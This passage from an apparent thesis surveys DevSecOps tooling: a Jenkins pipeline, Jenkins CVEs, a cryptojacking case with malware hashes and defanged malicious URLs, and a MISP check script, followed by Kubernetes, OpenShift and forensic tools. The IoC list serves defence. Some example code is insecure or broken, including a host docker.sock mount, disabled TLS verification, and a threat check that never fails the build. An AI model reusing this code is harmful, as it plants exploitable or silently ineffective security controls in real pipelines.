to read arbitrary files on the server, compromising confidential information and exposing SSH keys.
Such vulnerabilities enable supply chain attacks, facilitating breaches like the 2020 SolarWinds
incident [53].

Beyond basic scanning, Jenkins can automate additional security practices, such as enforcing
security policies by failing builds that don’t meet security requirements and automatically applying
fixes or updates—i.e. apply fixes on dependencies found during a SCA —reducing the manual
effort required to maintain a high security posture[51].

Implementation example Jenkins supports two pipeline syntaxes: declarative and scripted.
In this thesis, we will focus on declarative pipelines, as they are much more explicative of their
strengths, as they follow a precise and structured syntax. The key concepts to understand for
writing a DevSecOps-oriented Jenkins Pipeline are the following:

• Different pipeline stages: pipelines are divided into logical phases (e.g., Build, Test, Security
Scan, Deploy).

• Environment Variables: they are global variables stored using Jenkins Credentials.

• Artifact Storage: artifacts are signed and stored in secure repositories (e.g., Nexus Reposi-
tory7).

• Security Plugins: tools that implement Software Composition Analysis (SCA), Static Ap-
plication Security Testing (SAST), and Dynamic Application Security Testing (DAST).

In the following example, we will analyze an example of a Jenkinsfile that implements a DevSecOps
CI/CD pipeline. The steps are the following:

1. Source Code Checkout - Retrieves the latest code from the repository.

2. SCA with Snyk - Identifies vulnerable dependencies.

3. SAST with Semgrep - Scans for static vulnerabilities.

4. Build & Containerization - Packages the application into a Docker image.

5. DAST with OWASP ZAP - Performs runtime security testing.

6. Deployment to Kubernetes - Orchestrates secure deployment.

7Nexus Repository is an enterprise-grade repository, published by Sonatype
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This pipeline assumes that all tools (docker, kubectl, etc.) are available in the jenkins-agent
container.

pipeline {
agent {

kubernetes {
yaml ’’’

apiVersion: v1
kind: Pod
spec:

containers:
- name: jenkins-agent

image: jenkins/inbound-agent:latest
volumeMounts:

- name: docker-sock
mountPath: /var/run/docker.sock

volumes:
- name: docker-sock

hostPath:
path: /var/run/docker.sock

’’’
}

}

environment {
SNYK_TOKEN = credentials(’snyk-api-token’)
DOCKER_IMAGE = "myapp:${env.BUILD_ID}"
KUBE_NAMESPACE = "production"

}

stages {
stage(’Checkout’) {

steps {
checkout scm

}
}

stage(’SCA with Snyk’) {
steps {

container(’jenkins-agent’) {
sh ’’’
docker run --rm -v "${PWD}:/app" \

-e SNYK_TOKEN snyk/snyk:latest snyk test \
--severity-threshold=high

’’’
}

}
post {

failure {
error "SCA failed: High-risk dependencies found."

}
}

}

stage(’SAST with Semgrep’) {
steps {

container(’jenkins-agent’) {
sh ’’’
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docker run --rm -v "${PWD}:/src" \
returntocorp/semgrep semgrep scan \
--config=auto

’’’
}

}
post {

failure {
error "SAST failed: Critical vulnerabilities detected."

}
}

}

stage(’Build docker image’) {
steps {

container(’jenkins-agent’) {
sh ’’’
docker build -t ${DOCKER_IMAGE} .
’’’

}
}

}

stage(’DAST with OWASP ZAP’) {
steps {

container(’jenkins-agent’) {
sh ’’’
docker run --rm -v "${PWD}:/zap/wrk" \

owasp/zap2docker-stable zap-baseline.py \
-t http://vulnerable.app.poc -g gen.conf -r report.html

’’’
}

}
post {

failure {
error "DAST failed: OWASP ZAP detected critical vulnerabilities."

}
}

}

stage(’Deploy to Kubernetes’) {
steps {

container(’jenkins-agent’) {
sh ’’’
kubectl apply -f k8s/deployment.yaml -n ${KUBE_NAMESPACE}
kubectl rollout status deployment/vulnerableapp -n ${KUBE_NAMESPACE}
’’’

}
}

}
}

post {
always {

archiveArtifacts artifacts: ’**/report.html’, allowEmptyArchive: true
}

}
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}

Limitations Given the fact that Jenkins is employed by so many different organizations, it
is imperative to be aware of its limitations and potential drawbacks in order to implement the
right mitigations and improve the security posture of CI/CD infrastructures as much as possible.
Jenkins is indeed not exempt from security vulnerabilities that have affected many other software
platforms. Among these, it is important to consider the infamous CVE-2021-44228 (Log4Shell),
which, while not specific to Jenkins, affected Jenkins and many of its plugins, allowing for Re-
mote Code Execution. Vulnerabilities that have been identified within Jenkins infrastructure in
particular are as follows:

• CVE-2019-10392: a vulnerability in the Role-based Authorization Strategy plugin that
allowed attackers to gain access to Jenkins resources using maliciously forged URLs[54].

• CVE-2020-2223: a vulnerability that affected Jenkins core, making it vulnerable to a
stored cross-site request forgery (CSRF) attack that could lead to account takeover[55].

• CVE-2018-1000861: a deserialization vulnerability in Jenkins core that could lead to
remote code execution[56].

• CVE-2017-1000353: another deserialization vulnerability in the Jenkins CLI interface
that could allow remote attackers to execute arbitrary code on the Jenkins controller[57].

These vulnerabilities are a worthy example of the urgency of maintaining up-to-date Jenkins in-
stallations; plugins should be a focal point as well, since they can and will introduce various critical
and unexpected entry points. Hence, it is necessary to implement defense-in-depth strategies to
protect Jenkins environments, regularly analyzing Jenkins Core and its relative components.

It’s also important to note that Jenkins has several architectural characteristics that may
present additional security challenges: the master-agent architecture implies that the Jenkins
controller (master) is a critical security component that, if compromised, could affect all connected
agents and builds. Additionally, while Jenkins provides a credential storage system, credentials
are often distributed across jobs and pipelines, which may become difficult to track for large
organizations[51].

Furthermore, the native threat detection capabilities of Jenkins are severely limited: it com-
pletely lacks built-in capabilities (some plugins exist) for detecting abnormal behavior during build
execution, making it difficult to identify compromised builds or supply chain attacks. Jenkins is
able to provide detailed build logs, even though they are primarily designed for troubleshooting
rather than security monitoring, because they do not capture all security-relevant events, making
it impossible to detect malicious code that might be injected into builds through compromised
dependencies or malicious activities, such as supply chain poisoning attacksib..

A notable real-world example of Jenkins vulnerabilities being exploited occurred in 2018,
when cryptojacking malware targeted exposed Jenkins servers. CVE-2017-1000353 was used, and
attackers exploited the Java deserialization implementation vulnerability, compromised Jenkins
controllers, and used them to mine the Monero cryptocurrency. This attack affected thousands
of Jenkins instances globally and highlighted the importance of keeping Jenkins and plugins
updated, not exposing Jenkins directly to the internet, and implementing proper authentication
and authorization. Monitoring Jenkins servers for unusual activity and implementing automatic
IoC detection capabilities would’ve proven crucial for detecting and neutralizing this attack[57].
For example, the IoCs for this attack are the following[58]:

[SHA256]
57fedfb431a717031f454d4fb2809d1f6d432a9edd900b07f0b9f9aca7fb3597
07ca2a2e0d6ccfcef2cb010fe80a831c963755cc6179aaa95fe6e04d7d076c89
119cdc48db534c6093a24e78120c433480c5fb3f4a1a79270a78d9bf049fbe1c

[Detection name]
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Coinminer.Linux.MALXMR.SMDSL64

[URL]
hxxps[:]//berrystore[.]me/line-auth/cex
hxxp[:]//auto[.]c3pool[.]org:19999

Threat Intelligence Integration In this section, we examine how to empirically validate
the value of threat intelligence integration in Jenkins and how it can leverage specific threat
intelligence capabilities to address the aforementioned security gaps. Threat intelligence tools can
provide insights into the security posture of third-party components, libraries, tools, and Plugins
used in the build process, helping to identify potential supply chain risks. Advanced threat
intelligence systems—e.g MISP—can grant a higher grade of observability and are able to detect
anomalies that might indicate compromise, even without known signatures. Being fed forensic
intelligence, Jenkins pipelines can automatically and dynamically adjust security controls based
on the current threat landscape, implementing more stringent checks when specific threats are
prevalent. The following example provides an integration with MISP, which involves implementing
a job that executes a bash script, checking for possible IoCs. As it will be explained thoroughly in
its chapter, MISP is able to provide threat intelligence by checking logs of third-party plugins or
dependencies against known malicious indicators (e.g., malware hashes, indicators of attack, CVE
databases, and so on). In this pipeline example, MISP’s APIs are queried to check if a plugin
(like docker-build-plugin) has been flagged as compromised. If a risk is identified (e.g., the
plugin is associated with a supply chain attack), the build fails immediately, preventing it from
continuing. This effectively ensures proactive risk mitigation, using up-to-date threat data.

# Usage: checkThreatsWithMISP.sh docker-build-plugin

#!/bin/bash
PLUGIN_NAME="$1"
response=$(

curl -s \
-X GET "$MISP_API_URL/attributes/restSearch?name=$PLUGIN_NAME" \
-H "Authorization: $MISP_API_KEY"

)

if echo "$response" | grep -q "malicious"; then
curl -k https://splunk.local:8088/services/collector \

-H "Authorization: Splunk $SPLUNK_API_KEY" \
-d

’{
"event": "CRITICAL: Plugin $PLUGIN_NAME flagged as malicious!",
"sourcetype": "json"

}’
exit 1 # Fail the build

else
echo "Plugin $PLUGIN_NAME is clear in MISP feeds."

fi

With the next configuration, Jenkins validates dependencies before building. If any are malicious,
the pipeline halts. Moreover, if a threat was found, an alert was sent using Splunk.

pipeline {
agent any
environment {

PLUGIN_TO_CHECK = "docker-build-plugin"
}
stages {

stage(’Check with Splunk’) {
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steps {
script {

sh ’./checkThreatsWithSplunk $PLUGIN_TO_CHECK’

catchError(buildResult: ’FAILURE’, stageResult: ’FAILURE’) {
sh ’exit 0’

}
}

}
}

}
post {

always {
splunk(

url: env.SPLUNK_API_URL,
token: env.SPLUNK_API_KEY,
sourceType: ’jenkins_logs’,
data: currentBuild.rawBuild.log

)
}

}
}

2.7 Container orchestration platforms

In this research paper, we will analyze Kubernetes and OpenShift, two dominating container or-
chestrators, with the goal of understanding both of their functions within DevSecOps processes.
Both of these technologies have transformed how organizations deploy, manage, and secure appli-
cations using modern cloud-native architectures. Kubernetes is a community-based orchestrator
for containers that gives users an unprecedented amount of flexibility and customizability, while
OpenShift is a more secure Kubernetes-based orchestrator that is designed for enterprise use with
integrated security features and developer tools to ease the process of managing containerized
applications. Our analysis focuses on containers’ technical aspects, their security features, inte-
gration capabilities with DevSecOps security processes, and the strengths and weaknesses of each
platform. Additionally, it demonstrates that while both platforms support customers’ ability to
securely deploy container-based applications, the platforms each have their own advantages that,
in the right context, can meet different needs. While the Kubernetes platform supports openness
and user customization, the OpenShift platform offers a unified solution with security consider-
ations in mind. If physical requirements outweigh simplistic features, then OpenShift may be
ideal; however, if flexibility outweighs the need for an integrated solution—Kubernetes is the best
choice.

2.7.1 Kubernetes

Kubernetes is a system for managing application containers across clusters of hosts. It pro-
vides container management services such as automating the deployment, update, scaling, and
operational management of containerized applications. Google’s initial implementation, “Borg,"
inspired Kubernetes, which has now gained industry recognition as the de facto container orches-
tration tool. Kubernetes, or ’K8s’ (with the 8 representing the eight letters between ’K’ and ’s’),
was open-sourced by Google in 2014 and later donated to the Cloud Native Computing Founda-
tion. The name Kubernetes derives from a Greek word for “helmsman" or “pilot," which mirrors
its purpose of steering containerized workloads across distributed systems. Kubernetes has be-
come the solution for addressing these hurdles, offering a solution to aid enterprise businesses and
organizations with tools to deploy and manage complex microservices architectures[59].
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The adoption of Kubernetes continued to substantially grow over the years, from its conception
to nowadays, with an increasing number of businesses and organizations acknowledging the soft-
ware’s functionalities. A Linux Foundation research shows that approximately 93% of enterprises
globally use, pilot, or at least evaluate it, demonstrating how hard it is to find an organization
that does not use it[60]. However, this widespread adoption does not come without significant
challenges. A RedHat research states that “incomplete security throughout the application life
cycle—from development to deployment and maintenance—can diminish these valuable benefits.
In fact, our survey found that 67% of respondents have delayed or slowed down deployment of
container-based applications due to security concerns"[61]. The same research states that 42%
of organizations adopt DevSecOps practices, automating security throughout entire application
life cycles. This, along with a complete understanding of K8s, undeniably proves the strength of
introducing IaC scans in security pipelines.

Core Architecture and Components The operating principle of Kubernetes is based on the
master-worker architecture, in which there are nodes executing the container workload, called
“worker nodes", supported by control plane components. This architecture provides two main
advantages: it has high scalability and availability through dynamic deployment of worker nodes
and maintains a distinct structural separation between system management and execution of
workloads. The main component, as well as the fundamental entity of Kubernetes, is the Pod: it
represents the smallest unit that can be created and managed individually. Essentially, a Pod is
a collection of one or more containers, each with a specific role, that all share a set of resources,
such as storage, network resources, and execution rules. The Pod therefore provides a higher
level of abstraction that allows Kubernetes to manage containerized applications independently
of their specific implementation details. Despite this, it is rare for developers to act directly on
the Pod, as K8s provides far more powerful and configurable functionalities via text files in YAML
format. In fact, higher-level abstractions can be used to simplify application management, such
as ReplicaSets: they guarantee that a specific number of Pod replicas always remain running; if
a Pod crashes, it is possible to configure it to be automatically re-deployed. Deployments, on
the other hand, provide declarative updates to Pods and ReplicaSets. With Deployments, it is
possible to declare the desired state of an application—generally a stateless one—and it is possible
to create, remove, or update new ReplicaSets. Services define network rules for PodSets, while
Volumes allow data to persist beyond the life cycle of individual containers. Finally, Namespaces
represent logical divisions between pods so as to isolate different groups of resources within a
cluster[59].

As far as the control plane is concerned, it consists of a series of components that orchestrate
the various entities of the cluster. The kube-apiserver exposes the Kubernetes API and acts as a
front end. The etcd (which stands for distributed etc directory) provides a distributed repository of
key values small enough to be completely contained in main memory. The kube-scheduler assigns
the newly created Pods to the worker nodes according to the requests or workload required,
while the kube-controller-manager performs the control processes that regulate the state of the
system[59].

Kubernetes provides a REST API, through which it is possible to interact to manage all
cluster operations. The objective follows the general modus operandi of Kubernetes, i.e., to allow
developers to interact with the cluster independently of the underlying infrastructure and thus to
decouple usage from implementation. The API server (kube-apiserver) thus becomes the interface
for all interactions with the cluster, whether initiated by users, internal components, or external
systems[59].

Kubernetes in DevSecOps Kubernetes, due to its flexibility, has become an essential com-
ponent in modern CI/CD pipelines. Through the deployment of containerized applications and
using Infrastructure as Code (IaC) principles, Kubernetes has been able to maximize its poten-
tial. This declarative nature of the platform allows developers to define application deployments
as code, making it possible to automate security checks, version control of configuration files, and,
above all, a marked improvement in automated deployment processes. In addition, K8s seamlessly
integrates with various CI/CD tools through the use of the CLI; thanks to this, developers can use
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kubectl commands to manage and deploy applications directly from the pipeline or implement
more complex workflows through the use of Jobs[59].

For common resources, such as databases, CI tools, and content management systems, there
are predefined packages that can be configured to communicate with the deployed application.
The distribution of these packages is simplified by the use of Helm’s graphs. Helm is the package
manager (analogous to yum and apt), and the graphs are packages (analogous to rpm and deb).
The home of these charts is the Kubernetes Charts repository, which provides seamless integration
for pull requests and automatic release of charts into the master branch[62].

Within their security processes, DevSecOps pipelines integrate Kubernetes via IaC scans. The
reason for this is due to the K8s ability to configure all actors via text files: specialized tools such
as Trivy scan (.yaml) and Dockerfile files via classic SAST static security techniques, producing
alerts if vulnerabilities above the configured acceptable threshold are detected, and by offering
remediation recommendationsib..

An explicative example of Kubernetes’s strength is defined as follows. If applied with the
proper command, it deploys 3 replicas of NGINX with health checks with a declarative syntax,
instead of the common imperative syntax. Specifically, it implements the following features:

• Declarative State:

– Declare the needed functionalities, not how to implement them (3 replicas of nginx:1.25)
– Kubernetes handles rollout, scaling, and health checks automatically.

• Self-Documenting:

– Fields like replicas, resources, and livenessProbe make intentions clear.

• Modularity:

– The Service YAML is a separate module, but linked via labels (app: nginx), showcasing
loose coupling.

• Production-Ready security practices:

– Pinned image version (nginx:1.25), resource limits, and health checks.

The .YAML file is the following[63]:

---
apiVersion: apps/v1 # Kubernetes API version for Deployments
kind: Deployment # Declares this as a Deployment resource
metadata:

name: nginx-deployment # Name of the Deployment
labels:

app: nginx # Label for selecting Pods
spec:

replicas: 3 # Desired state: 3 identical Pods
selector:

matchLabels:
app: nginx # Targets Pods with this label

template: # Template for the Pods
metadata:

labels:
app: nginx # Labels assigned to Pods

spec:
containers:
- name: nginx # Container name

image: nginx:1.25 # Official NGINX image
ports:
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- containerPort: 80 # Exposes port 80 (HTTP)
resources:

requests: # Minimum resources required
cpu: "100m" # 0.1 CPU core
memory: "128Mi" # 128 MiB of RAM

limits: # Maximum resources allowed
memory: "256Mi"

livenessProbe: # Health check: restart if NGINX crashes
httpGet:

path: /
port: 80

initialDelaySeconds: 5
periodSeconds: 10

---
apiVersion: v1
kind: Service # Exposes the Deployment as a network service
metadata:

name: nginx-service
spec:

selector:
app: nginx # Routes traffic to Pods with this label

ports:
- protocol: TCP

port: 80 # Service port
targetPort: 80 # Pod port (matches containerPort)

type: LoadBalancer # External access (cloud-provider LB)

Kubernetes Strengths in DevSecOps As we already said before, DevSecOps integrates se-
curity into the Kubernetes lifecycle by shifting left—embedding vulnerability scanning, policy
enforcement, and runtime protection into CI/CD pipelines by analyzing text files and monitor-
ing microservices. Specifically, it provides IaC scan operations and treats text files (e.g., YAML
manifests) and container images as the only audit targets. For example, static analysis tools
like Trivy or Checkov flag misconfigurations (e.g., overly permissive hostNetwork or missing
PodSecurityContext), while runtime tools like Falco detect anomalous behavior (e.g., shell ac-
cess in production containers). It is worth noting that DevSecOps procedures should automate
these checks without slowing deployments, making it so that security works as an efficient gate-
keeper rather than a bottleneck process[64].

FROM alpine:3.12
RUN apk add --no-cache curl # Unnecessary package increases attack surface
COPY app.sh /app.sh
RUN chmod +x /app.sh
CMD ["/app.sh"] # Runs as root by default

The key fixes of this file will be performed by the two following tools:

• Static Dependencies Analysis (e.g., Snyk): Flags alpine:3.12 as outdated (CVE risks)
and detects curl as a non-production dependency.

• IaC Analysis: Trivy is able to require USER nonroot as a policy. Additionally, it can reject
images with high-risk packages, such as curl.

Here’s an example of the fixed Dockerfile:

FROM alpine:3.18 # Updated base image
COPY app.sh /app.sh
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RUN chmod +x /app.sh \
&& adduser -D nonroot # Explicit non-root user

USER nonroot
CMD ["/app.sh"]

The time and effort to require this kind of security scan is very little, and the output should be
almost immediate in this case—excluding configuration time, which depends on the developer’s
skills and experience. Further details on IaC scan are provided in detail in its specific chapter.

Kubernetes Weaknesses Kubernetes, as versatile and powerful as it is, does present some
challenges that should not be underestimated, starting with the inherent complexity that accom-
panies its flexibility. This can manifest itself in many ways, even introducing serious security
consequences such as misconfiguration issues and malicious external plugins. Additionally, K8s
sometimes presents quite steep learning curves for inexperienced security teams and, in the case of
different projects for different teams, can present an added difficulty in maintaining consistent—
security and non-security—configurations across distributed clusters[64].

While Kubernetes provides basic security mechanisms, it has several limitations. By default,
secrets are only base64 encoded, networking rules configuration varies depending on the plugin
implementation, and most importantly, it does not have built-in IaC capabilities to scan images
or configuration files. Additionally, it does not have native policy-as-code scanning tools, thus
requiring external integration. These gaps then force organizations to implement additional secu-
rity controls, increasing the complexity of the implementation and potentially requiring additional
investments in third-party solutions to achieve acceptable security postures; this amount of work
that is not easily visible is particularly challenging for organizations with limited resources or
expertise, potentially negating some of the benefits of platform automationib..

Organizations that adopt Kubernetes, which, as we said before, are almost 93% [60], must nec-
essarily invest significantly in training, tools, and implementation of secure development practices
to overcome these challenges and fully utilize the immense potential of Kubernetesib..

2.7.2 OpenShift

Red Hat OpenShift is an enterprise-ready Kubernetes-based platform that integrates the tech-
nology already provided by Kubernetes with its own orchestration features, such as full-stack
automated deployments for managing hybrid cloud, multi-cloud, and edge deployments. Open-
Shift extends Kubernetes with additional features and capabilities designed to improve the de-
veloper experience, strengthen security, and simplify integration, but at the cost of providing less
configuration freedom and flexibility. According to the official RedHat website, RedHat is “the
leading hybrid cloud application platform", as it combines built-in security features with dedi-
cated support, a trusted software supply chain, and Red Hat Enterprise Linux as the operating
foundation[65]

The relationship between OpenShift and Kubernetes is similar to that of Linux distributions
based on the Linux kernel, using the same underlying technology but integrating additional tools
and configurations tailored to specific use cases. As a Platform-as-a-Service (PaaS) offering and a
leading platform for hybrid cloud applications, OpenShift simplifies container application develop-
ment by providing integrated tools and services that accelerate and secure the entire application
lifecycle. Red Hat develops OpenShift as a commercial product, offering enterprise-grade sup-
port. This product focus ensures consistent quality, long-term support, and enterprise readiness,
with Red Hat taking responsibility for testing, integration, and maintenance. The commercial
nature of OpenShift provides organizations with a single vendor responsible for the entire stack,
reducing operational risk compared to building and maintaining a Kubernetes distribution inde-
pendentlyib..

OpenShift, as it is a paid service, includes already made and working solutions, such as
native development tools that support the entire application lifecycle—from development to
production—eliminating the need to package these features separately. An integrated image
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registry simplifies container storage and management compared to Kubernetes’ reliance on exter-
nal registry solutions. OpenShift’s enterprise support model provides 24/7 responsiveness from
Red Hat’s engineering teams, in contrast to Kubernetes’ community-based support forumsib..

OpenShift Technical Architecture The main goal of OpenShift is to extend Kubernetes by
adding components and features that are already configured and designed, improving both devel-
oper productivity and operational efficiency, while maintaining a certain degree of flexibility. For
example, by leveraging the “OpenShift Container Platform architecture", it is possible to scale
an existing application from a few on-prem machines to thousands of machines completely in the
cloud with relative ease, using RedHat-based containers. The flexibility of OpenShift is clearly
visible in the fact that existing applications can be brought to the cloud in hybrid mode: this
is particularly useful for customers who do not have the possibility of bringing certain infras-
tructures to the cloud without having large security policies to satisfy, such as critical databases
of government agencies. The security components natively offer protection mechanisms already
configured, including compliance features and advanced authentication/authorization systems.
OpenShift Virtualization, in addition, makes it possible to run virtual machines alongside con-
tainers, combining traditional and cloud-native workloads[66].

As previously mentioned, Red Hat OpenShift Container Platform (OCP) natively implements
robust security and compliance, providing the 24/7 support typical for enterprise applications.
Additionally, OpenShift adheres to and meets numerous security standards, such as NIST, CIS
benchmarks, and PCI-DSS. It also ensures cluster configurations are secure from the ground up
through native implementation of role-based access controls (RBAC), SELinux, and automated
compliance scanning via Compliance Operator. By providing detailed documentation on security
best practices, vulnerability management, and regulatory compliance, OpenShift supports contin-
uous monitoring and automated remediation of deployed software, further enhancing its security
and aligning with DevSecOps principles[66].

OpenShift and DevSecOps The OpenShift Platform’s integrated approach makes it ideal for
DevSecOps deployments, offering tools and capabilities that integrate security across the appli-
cation lifecycle. The platform provides a solid foundation for building, deploying, and managing
containerized applications securely, with built-in capabilities that support modern DevSecOps
practices[67].

Container security in OpenShift begins with image scanning and runtime protection, comple-
mented by security context constraints that enforce pod security policies. The platform’s default
non-root container execution follows security best practices, while built-in registry controls al-
low organizations to restrict image sources to approved repositories. Access control uses RBAC
to enforce granular permissions, ensuring only authorized users access critical resources. Net-
work security features include an Istio-based service mesh for east-west traffic encryption between
services, along with support for multiple pod network interfaces that enable traffic isolation in
cloud-native deployments. For CI/CD security, OpenShift GitOps, combined with RBAC, allows
locking down production clusters so that all changes are managed through approved deployment
processes, reinforcing change management discipline[67].

DevSecOps workflows in OpenShift benefit from automation capabilities that implement shift-
left security principles, introducing security controls early in the development process to protect
the software supply chain. Content repository security emphasizes the use of private registries
with advanced access controls and vulnerability scanning, such as Red Hat Quay. The platform
recommends using trusted, minimalist base images, such as Red Hat’s Universal Base Image8, to
reduce the attack surface. CI build infrastructure receives the same security focus as production
environments, with security as code implemented through OpenShift Pipelines and GitOps. These
automated workflows integrate security tasks like image scanning and deployment checks using

8The Red Hat Universal Base Image (UBI) is a collection of Open Container Initiative (OCI)-compliant, freely
redistributable, container base operating system images.
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Advanced Cluster Security, making security validation an integral part of the deployment pipeline
rather than a separate process[67].

OpenShift CI/CD integration provides robust tools for implementing secure application de-
ployment pipelines. The platform includes build capabilities through both the extensible Ship-
wright framework and the standard BuildConfig, providing flexibility in creating container im-
ages. GitOps support enables declarative continuous deployment for cloud-native applications,
while pipeline tools simplify CI/CD implementation. Integration with Jenkins is ideal for orga-
nizations that have already invested in the popular automation server, although GitHub Actions
is supported as well. Source-to-Image (S2I) functionality simplifies container image creation and
deployment by converting application artifacts into production-ready images stored in the internal
registry, integrating security checks during the build process. These integrated capabilities reduce
the effort required to implement secure CI/CD, as most steps—mainly IaC scan—are already
implemented and working[67].

OpenShift Strengths The main strength of Red Hat OpenShift lies mainly in the fact that
the services it provides are essentially already configured and ready to use, security not excluded:
in fact, it goes well beyond the basic Kubernetes data, focusing specifically on compliance and
certifications (NIST for example). It also supports zero-trust architectures and involves the use
of shift-left practices typical of DevSecOps: this integration is achieved through the automa-
tion of security via pipelines, in which tools such as Clair are used, which analyze—via IaC
scanning—container images in search of vulnerabilities, cross-referencing between the CVE and
NVD databases. Always according to good DevSecOps practices, Clair is able to automatically
block distributions containing images with critical vulnerabilities[68].

Policy enforcement regarding containers is achieved relatively easily via Open Policy Agents
(OPA) and Security Context Constraints (SCC), which codify rules such as prohibiting the ex-
ecution of root containers, while secrets management is protected via native integrations with
HashiCorp Vault and Kubernetes Secrets, which provide encryption and automated log rota-
tion. With the plethora of supply chain poisoning attacks in mind, these mechanisms collectively
implement a secure-by-default supply chain without hindering developer productivity. The plat-
form’s shift-left approach is further expanded by integrating security early in the CI/CD pipeline,
leveraging Tekton to enforce SAST/DAST scans, and supporting commit signing via Argo CD.
Scan results are available to developers via access to the OpenShift console[68].

OpenShift Weaknesses OpenShift, despite the functionalities cited in the previous para-
graphs, presents undeniable limitations or issues that may not be immediately obvious. When
choosing to use OpenShift for DevSecOps operations, it is common to encounter compatibility
issues when integrating with tools that are not specifically designed for container orchestration,
especially legacy security systems or specialized development utilities, especially in hybrid cloud
and on-premises environments. Sometimes, these obstacles may necessarily require adapting ex-
isting tools or adopting products from scratch, potentially increasing the complexity and/or costs
of implementation[69].

Deploying in OpenShift, although simpler than Kubernetes, differs in some limitations. In
particular, regarding the single Pod capabilities of the platform, the default values proposed by
OpenShift may not produce optimal results for sophisticated deployment models or for extremely
old models, such as legacy systems: it is not uncommon to see old systems that still require
containers to run as root, which is not provided by OpenShiftib..

OpenShift has a highly extensive feature set, requiring a non-basic amount of knowledge
to take full advantage of the platform. The required learning curve could therefore represent
an insurmountable challenge for teams new to container orchestration or DevSecOps practices,
requiring a larger amount of work than expected. This learning curve could impact—albeit
temporarily—productivity, but it becomes unacceptable for companies with a limited budget or
few resources to investib..

Finally, OpenShift is a commercial product, thus involving non-trivial cost considerations,
which can easily influence adoption decisions. The subscription-based model contrasts with open-
source Kubernetes distributions that do not have licensing costs, which can have a significant
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impact on organizations with limited budgets. However, a thorough cost analysis is necessary,
as OpenShift’s ability to reduce operational costs, accelerate development cycles, and mitigate
security risks should be considered factors that may offset the licensing costs for some organiza-
tionsib..

2.7.3 Comparative Analysis: Kubernetes and OpenShift

The choice between platforms depends on the organizational context, evaluating factors such as
security requirements, existing infrastructure, team skills, and strategic goals. Kubernetes is best
suited to organizations that value maximum flexibility and control, while OpenShift is best suited
to those who prioritize integrated solutions and business support. In the majority of contexts, it
may be advantageous to use both platforms in different environments by leveraging the different
features of both. For example, in different phases of the DevSecOps maturity journey, it would
be advantageous to start with K8s—which is free—and, once evaluated to its fullest and having
a clear understanding of all of the processes, it would be natural to pivot to OpenShift RedHat.
Regardless of the chosen platform, successful DevSecOps implementations share common prin-
ciples: integrating security across the entirety of the development lifecycle, automating security
scans and policy compliance checks, maintaining an immutable infrastructure, and implementing
continuous monitoring[69].

Feature Comparison Kubernetes, having flexibility as its main strength, natively offers few
security features, which, although simple to configure, require a non-trivial additional effort and
necessary integration with third-party tools. Sometimes, when dealing with legacy applications,
this process may be required for both tools, and this could give a slight edge to K8s, which offers
more freedom of configuration. In any case, to obtain complete protection, the effort required
by OpenShift is significantly lower than that of K8s, since, as previously mentioned, it offers
extensive security features already implemented and configured. As for networking, Kubernetes
relies on third-party plugins, while OpenShift includes Open vSwitch integrated. Furthermore,
the image registry between the two solutions differs significantly: Kubernetes requires external
registry solutions, while OpenShift provides integrated registry features; the latter also constantly
analyzes the images present in its registry, offering significantly higher quality and security. CI/CD
integration in Kubernetes requires external tools, while OpenShift offers native capabilities. The
support models are a stark contrast between the community-based support of Kubernetes and
the 24/7 enterprise support of OpenShift[69].

Platform Selection Considerations Kubernetes proves itself as the best choice when organi-
zational priorities emphasize maximum flexibility, integration of different tools, or, as it is the most
stringent requirement sometimes, when there are great budget constraints. Its open ecosystem
supports broad customization and integration of specialized security tools, making it attractive
to organizations with specific requirements or investments in existing tools. The lack of licensing
costs makes Kubernetes attractive for cost-sensitive deployments, although total cost of ownership
(TCO) must account for additional security tooling and skill requirements. Organizations looking
to assemble best-of-breed solutions from multiple components often favor Kubernetes’ modular
approach[69].

OpenShift excels in enterprise environments where integrated security, compliance require-
ments, and support reliability are top priorities. Its platform-selection approach reduces config-
uration complexity while providing strong security defaults, benefiting organizations looking to
accelerate DevSecOps adoption without extensive customization. Developer experience improve-
ments and hybrid cloud support make OpenShift especially valuable for businesses operating
across multiple environments. Organizations that value supplier responsibility and long-term
stability often prefer OpenShift’s product model over community-supported alternatives[69].

Some organizations implement both platforms strategically across different stages of software
development. A common model, used mainly by organizations that have some budget constraints,
uses standard Kubernetes for development and test environments, while OpenShift is used in
production environments. This approach takes advantage of the advanced security and support
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of the latter, which is absolutely required in real scenarios. Other implementations assign different
application types to each platform based on specific security requirements or complexity. Hybrid
approaches can deploy OpenShift on-premises with Kubernetes in cloud environments, or vice
versa, depending on organizational constraints. Some organizations initially adopt Kubernetes as
a learning platform before migrating to OpenShift as their DevSecOps practices mature, using
the transition to refine processes and taking advantage of OpenShift’s enterprise capabilities[69].

2.8 Forensic tools for DevSecOps Pipelines

Forensic tools are at the forefront of security technologies and frameworks today by providing
deep visibility into system activity and assuring responsiveness to incidents in a timely fashion.
Forensic tools continuously monitor and analyze logging, metrics, and traces from all environ-
ments to quickly detect anomalies (including security incidents) in real time. As they are able to
aggregate data from various decentralized sources, they provide a unified platform for correlating
events, which is essential for identifying the root causes of incidents and understanding the scope
of attacks. Forensic tools also assist organizations in getting credit for completed compliance
obligations by keeping records of system activity for auditing and reporting purposes. Integrated
across DevSecOps activities, forensic tools may help DevSecOps teams to react faster when the
application is deployed in a production environment, making it a valuable ally to tools that rely
on dynamic execution for their security capabilities[70]. We will explore this thesis in detail in
the implementation section.

2.8.1 Focus: forensic tools and post-mortem analysis support in the
DevSecOps pipeline

Although most DevSecOps tools focus on prevention and detection, the integration of forensic
techniques and tools is critical to ensure a robust investigative response to complex incidents.
With this in mind, three basic classes of forensic capabilities are outlined for consideration within
a DevSecOps pipeline:

Advanced tracing and log granularity: tools that enable event tracing with enriched meta-
data, including precise timestamps, transactional IDs, user context and call chain, are crucial to
the temporal and causal reconstruction of an attack. The adoption of standards such as Open-
Telemetry (for distributed tracing) and semantic log structuring in JSON format facilitate such
granularity.[71]

Automated post-mortem analysis: there is growing interest in tools that, upon the occur-
rence of anomalies or critical events, automatically trigger log collection and indexing routines
to facilitate retrospective forensic analysis. Tools such as Splunk or ELK, when integrated with
alerting engines (e.g., Falco or osquery), can trigger automated queries, snapshots of system state,
or memory dumps, facilitating "blast radius" analysis of the incident.[72]

Supporting investigation and reactive correlation: integration with SIEM and threat in-
telligence platforms (e.g., MISP) allows the collected data to be enriched with exogenous informa-
tion, facilitating attribution and understanding of dynamics. In addition, tools such as TheHive
or GRR Rapid Response can be integrated into the pipeline to automate investigation and collect
artifacts on demand (on-demand collection).[73]

Recent studies include approaches such as Forensic Logging-as-a-Service (FLaaS) and Forensic-
